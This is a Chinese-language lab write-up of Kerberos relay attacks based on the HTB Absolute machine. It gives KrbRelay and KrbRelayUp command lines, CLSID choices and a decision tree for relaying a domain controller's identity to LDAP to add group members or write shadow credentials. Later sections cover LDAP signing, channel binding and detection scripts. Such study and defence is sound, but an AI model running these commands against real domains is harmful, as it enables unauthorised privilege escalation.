KrbRelay Kerberos 中继实战
关联:强制认证攻击 | Protected Users 组与密码修改限制 | gMSA密码读取
战例:HTB Absolute(Insane)——中继 DC$ 身份拿域控权限
1. 本质
Kerberos 中继 = 把抓到的 AP-REQ 原样重放到另一个服务,冒充票据的客户端身份。
三个关键性质:
- TGS 票据只含 SPN,不含 IP / 通道信息 —— 认证请求发到哪台机器,协议不关心,抓到就能重放。
- 防重放是”每服务”级别的 —— replay cache 由各服务各自维护,中继到 LDAP 时 LDAP 的缓存里没有该条目,直接放行。
- LDAP 的 GSSAPI 绑定默认不强制签名/密封 —— 除非域策略开启 “LDAP server signing requirements”,否则抓来的 AP-REQ 可以直接完成绑定。
攻击链全景:
强制认证触发(DCOM/CLSID)
→ 目标机器账户/用户主动向攻击者认证
→ 抓到 AP-REQ(ticket 目标 = ldap/dc.xxx)
→ 中继到 DC 的 389 端口(GSS-SPNEGO bind)
→ LDAP session established(绑定身份 = 票据客户端)
→ 以该身份执行 LDAP 写操作(加组 / RBCD / shadowcred / 改密码)
2. 中继身份由什么决定(最重要的决策)
身份 = 触发认证的主体,由三件事拼起来:
| 因素 | 决定 | 说明 |
|---|---|---|
| CLSID 类型 | 机器账户 vs 会话用户 | SYSTEM 服务 CLSID → 机器账户;跨会话 CLSID → 会话用户 |
| 运行位置 | 哪台机器的机器账户 | 在 DC 上跑 = DC$(域管级);普通机器 = 低权限机器账户 |
-session N | 哪个会话的用户 | 仅跨会话模式有效 |
关键:Relaying context: absolute.htb\DC$ 显示的是票据 SPN 的目标主机,不是客户端身份(authenticator 加密,cname 读不到)。别被这行骗了,身份以实际操作为准(或查 4769)。
3. 前置条件
| 条件 | 检查方法 |
|---|---|
| LDAP 未强制签名 | 中继 bind 能成功即证明(bind: 0 + LDAP_SUCCESS) |
| 时间同步(±5min) | sudo ntpdate -u dc.absolute.htb |
| 交互式会话/凭据上下文 | WinRM 下直接跑报 Access Denied,用 RunAsCs 包装 |
| MachineAccountQuota(加机器账户时才需要) | ([adsi]"LDAP://DC=absolute,DC=htb").psbase.Properties["ms-DS-MachineAccountQuota"] |
4. 工具链
4.1 KrbRelay(cube0x0)—— 支持自定义 LDAP 操作
KrbRelay.exe -spn ldap/dc.absolute.htb -clsid <CLSID> [-port N] <操作>
| 操作 | 说明 |
|---|---|
-add-groupmember <组> <用户> | 加组成员(组名含空格需引号) |
-reset-password <用户> <密码> | 重置密码(需目标对象 unicodePwd 写权限) |
-rbcd <攻击者机器账户SID> | 写 RBCD(Trustee = 攻击者机器账户 SID,不是中继主体的) |
-shadowcred [目标] | 写 msDS-KeyCredentialLink(默认目标 = 中继身份) |
-laps / -gmsa | 读 LAPS / gMSA 密码 |
-console | 中继成功后进交互式 LDAP shell |
4.2 KrbRelayUp(Dec0ne)—— 自动化本机提权
KrbRelayUp.exe relay -d <域> -cn <机器账户名> -cp <密码> [-c] [-m rbcd|shadowcred]
KrbRelayUp.exe spawn -d <域> -cn <机器账户名> -cp <密码> -i administrator [-sc "命令"]
-c自动创建机器账户(配额 0 时会失败)-m shadowcred不需要机器账户 —— 配额 0 时用这个- 触发本机机器账户认证(默认 CLSID 90f18417)
4.3 RunAsCs(非交互会话包装)
WinRM / PS remoting 下 KrbRelay 触发会报 Access Denied(无交互凭据上下文)。用 RunAsCs 包装,密码随便填(LogonType 9 = NewCredentials,不校验;网络认证走已注入的 TGT):
.\runascs.exe <用户> <假密码> -d <域> -l 9 "<目标命令>"
5. CLSID 方法论(枚举 → 筛选 → 实测)
5.1 枚举
# CandyPotato(服务 CLSID 列表)
CandyPotato.exe -Q
# OleViewDotNet(Get-ComClass 不需要 dbghelp,Get-ComProcess 才需要)
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
(Get-ComClass).clsid
# 纯注册表:svchost 托管的 COM 类
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" | ForEach-Object {
$ls = Get-ItemProperty "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue
if ($ls -and $ls.'(default)' -match 'svchost') {
[PSCustomObject]@{ CLSID = $_.PSChildName; Server = $ls.'(default)' }
}
} | Format-Table -AutoSize
5.2 筛选标准
- User = SYSTEM / NetworkService → 机器账户认证
- ImpLevel = Impersonate/Delegate → 可中继 SMB;仅 Identify → 只能 LDAP
- AuthnLevel = Connect
- 服务进程在运行
5.3 实测验证(一锤定音)
跑一次 KrbRelay 后,在 DC 上查 4769 的 Client 字段:
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 50 |
Where-Object {$_.Message -match 'ldap'} |
Select TimeCreated, @{n='Client';e={$_.Properties[0].Value}}
Client = DC$ → 机器账户 ✅;用户名 → 跨会话 ❌
5.4 常用 CLSID
| CLSID | 来源 | 类型 |
|---|---|---|
8F5DF053-3013-4dd8-B5F4-88214E81C0CF | TrustedInstaller | SYSTEM ✅ |
90F18417-F0F1-484E-9D3C-59DCEEE5DBD8 | DCOM(KrbRelay 默认) | SYSTEM/IMPERSONATE |
0BAE55FC-479F-45C2-972E-E951BE72C0C1 | DCOM | SYSTEM/IDENTIFY |
854A20FB-2D44-457D-992F-EF13785D2B51 | PrintNotify(PrintSpoofer) | SYSTEM |
DF1941C5-FE89-4EB9-9E86-6CA84A2DBF2A | EFS(EfsPotato) | SYSTEM |
03CA98D6-FF5D-49B8-ABC6-03DD84127020 | BITS(CandyPotato 标注) | 跨会话 ⚠️ |
354FF91B-5E49-4BDC-A8E6-1CB6C6877182 | 跨会话(README) | 跨会话 ⚠️ |
⚠️ CandyPotato 标注的服务名不可全信(03ca98d6 标 BITS 实为跨会话),以实测为准。
失败错误码:0x800706BA RPC 不可用(端口/OXID)| 0x80080004 CLSID 无效 | 0x80070422 服务禁用 | 0x800706D3 认证服务未知
6. 验证与收尾
# 组是否加入(LDAP 直查最准,net user 在 DC 上可能列不全)
([adsi]"LDAP://CN=Administrators,CN=Builtin,DC=absolute,DC=htb").member
([adsi]"LDAP://CN=winrm_user,CN=Users,DC=absolute,DC=htb").memberOf
# 加组后必须重新登录(token 才带新组)
exit → 重新 evil-winrm → whoami /groups
# RBCD 是否写入
Get-DomainComputer <机器> -Properties msds-allowedtoactonbehalfofotheridentity
7. 踩坑记录(Absolute 实战)
- add-groupmember 报
LDAP_SUCCESS但没生效 —— 部分 KrbRelay 二进制该功能有 bug(写歪对象)。以 LDAP 查询为准,别信返回码。 -reset-password administrator报LDAP_UNWILLING_TO_PERFORM—— DC$ 对用户对象没有 unicodePwd 写权限(只授予 SELF/域管/SYSTEM)。中继是 DC$ ≠ 万能,每个对象 ACL 不同。- DC$ 能改 BUILTIN\Administrators,改不了用户密码 —— 内置组 ACL 和用户对象 ACL 不同。
-add-groupmember DOMAIN ADMINS winrm_user报错 —— 参数按空格分割(源码 Regex),组名带空格必须用引号;且 Domain Admins 全局组 DC$ 也不一定有权限。-session 1跨会话触发 → 中继身份是会话用户(如 winrm_user)→ 加组 53。要 DC$ 身份必须无-session+ SYSTEM 服务 CLSID。- KrbRelayUp 加机器账户失败(
server cannot handle directory requests) —— MachineAccountQuota=0。换-m shadowcred绕过(不需要机器账户)。 - qwinsta 只是诊断工具(验证是否交互会话),不是选触发目标的手段。
- 改密码/加组后要重新登录,当前会话 token 不刷新。
- LDAP 加组成功 ≠ 立即生效:域控上 Builtin 组是域本地组,
net user /domain可能显示不全,用 LDAP 直查。
8. 决策速查
目标是"域管权限"?
├─ 在 DC 上(WinRM)→ KrbRelay 无 -session + TrustedInstaller CLSID → 中继 DC$
│ ├─ 加 BUILTIN\Administrators ✅(DC$ 有权限)
│ ├─ 改用户密码 ❌(无权限)→ 换 shadowcred 或加组
│ └─ add-groupmember 不生效(bug)→ 换 KrbRelayUp shadowcred
├─ 在普通机器 → KrbRelayUp relay -m shadowcred → 本机 SYSTEM → 横向
└─ 无机器账户配额 → shadowcred 路线(写 KeyCredentialLink,SELF 权限)
目标是"本机 SYSTEM"?
└─ KrbRelayUp relay -m shadowcred + spawn(自动 S4U + 建服务)
9. 防御(按攻击链环节)
9.1 LDAP 签名要求(最直接,堵死 LDAP relay)
GPO:计算机配置 → 策略 → Windows 设置 → 安全设置 → 本地策略 → 安全选项
"域控制器: LDAP 服务器签名要求" → 要求签名
"域控制器: LDAP 服务器通道绑定令牌要求" → 始终
# 注册表等效(DC 上)
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
LDAPServerIntegrity = 2 # 要求签名
LdapEnforceChannelBinding = 2 # 始终要求通道绑定
原理:强制 GSSAPI 绑定使用完整性/签名服务后,中继者能重放 AP-REQ,但没有会话密钥无法完成签名 → bind 失败。KrbRelayUp 的攻击前提就是 “LDAP signing is not enforced (the default settings)”——默认不强制所以能打。
9.2 通道绑定(更强,TLS 层)
LDAP over TLS 时把连接绑定到证书通道(CVE-2019-1040 同款思路),中继的 TLS 通道与原认证通道不一致 → 拒绝。与 9.1 一起开。
9.3 EPA(针对 ADCS / HTTP relay)
KrbRelayUp 的 ADCS 模式打的就是 “ADCS Web Enrollment 未开 EPA”。IIS 站点开 EPA + 强制 TLS 即可堵死。
9.4 配额
ms-DS-MachineAccountQuota = 0 # 堵"加机器账户"(RBCD 前置)
⚠️ Protected Users / “sensitive and cannot be delegated” 不是有效防御 —— KrbRelayUp 通过 S4U2Self abuse 绕过(README 原文)。别把宝押在这。
9.5 监控检测(预防堵不完,检测最重要)
# 4769:S4U2Proxy 请求(AllowedToActOnBehalfOfOtherIdentity = True)
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 200 |
Where {$_.Message -match 'AllowedToActOnBehalfOfOtherIdentity'} |
Select TimeCreated, @{n='Client';e={$_.Properties[0].Value}}
# 5136:目录对象修改(RBCD / KeyCredentialLink / 组 member 变更)
Get-WinEvent -FilterHashtable @{LogName='Security';Id=5136} -MaxEvents 200
# 7045 / 4697:非预期服务创建(SCM 提权阶段)
9.6 防御有效性排序
| 防御 | 效果 |
|---|---|
| LDAP 签名要求 | ⭐⭐⭐ 直接杀死 LDAP relay |
| LDAP 通道绑定 | ⭐⭐⭐ 更硬(TLS 层) |
| MachineAccountQuota=0 | ⭐⭐ 堵 RBCD 前置 |
| EPA(ADCS) | ⭐⭐ 堵 ADCS relay |
| Protected Users | ⭐ 被 S4U2Self 绕过,别依赖 |
为什么默认不强制签名?兼容性——老应用/非 Windows 客户端不支持签名的 LDAP 绑定,强制会炸业务。这是 KrbRelay 这类攻击至今能打的根本原因。
10. 快速排查(攻击成本 vs 排查成本)
攻防不对称:攻击者上传工具 → 30 秒实测一次(LDAP session established?)→ 不行就换机器换路,只需要一个洞;蓝队要查 GPO × 每台 DC × 通道绑定 × 配额 × 监控调优 × 兼容性评估,按天算。所以防御重心放在检测而非预防。
10.1 一键自查脚本(需 DC 管理员)
$p = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
$sig = (Get-ItemProperty $p -Name LDAPServerIntegrity -ErrorAction SilentlyContinue).LDAPServerIntegrity
$cb = (Get-ItemProperty $p -Name LdapEnforceChannelBinding -ErrorAction SilentlyContinue).LdapEnforceChannelBinding
$quota = ([adsi]"LDAP://DC=absolute,DC=htb").psbase.Properties["ms-DS-MachineAccountQuota"]
"LDAP签名 : $(if($sig -eq 2){'✅ 强制'}else{'❌ 未强制 → KrbRelay 可打'})"
"通道绑定 : $(if($cb -eq 2){'✅ 强制'}else{'❌ 未强制'})"
"机器账户配额: $quota $(if($quota -eq 0){'✅ 已封'}else{'❌ 可加机器账户'})"
"Protected Users 成员: $((Get-ADGroupMember 'Protected Users' -ErrorAction SilentlyContinue).Count) 人"
10.2 黑盒实测(零权限,攻击者视角)
# 不带 -Z = 不请求签名;绑定成功 → 未强制签名(可中继);报 strong(er) auth required → 强制
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb" -s base ""
10.3 读 GPO(SYSVOL 普通用户可读)
Get-ChildItem "\\absolute.htb\SYSVOL\absolute.htb\Policies" -Recurse -Filter "GptTmpl.inf" |
ForEach-Object {
$c = Get-Content $_.FullName
if ($c -match 'LDAPServerIntegrity|LdapEnforceChannelBinding') { $_.FullName }
}
10.4 注册表权限说明
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 默认只允许 SYSTEM + Administrators 读取,普通用户 reg query = Access denied(含数据库路径/服务账户等敏感配置,设计如此)。攻击者判断环境通常走 10.2 黑盒实测,不读注册表。
10.5 自动化扫描
- PingCastle(免费):HTML 报告,标红 “LDAP Signing not enforced” / MachineAccountQuota 等风险项
- Purple Knight:防御基线检查
- 建议放进例行巡检(月扫),而不是等事件响应再查
评论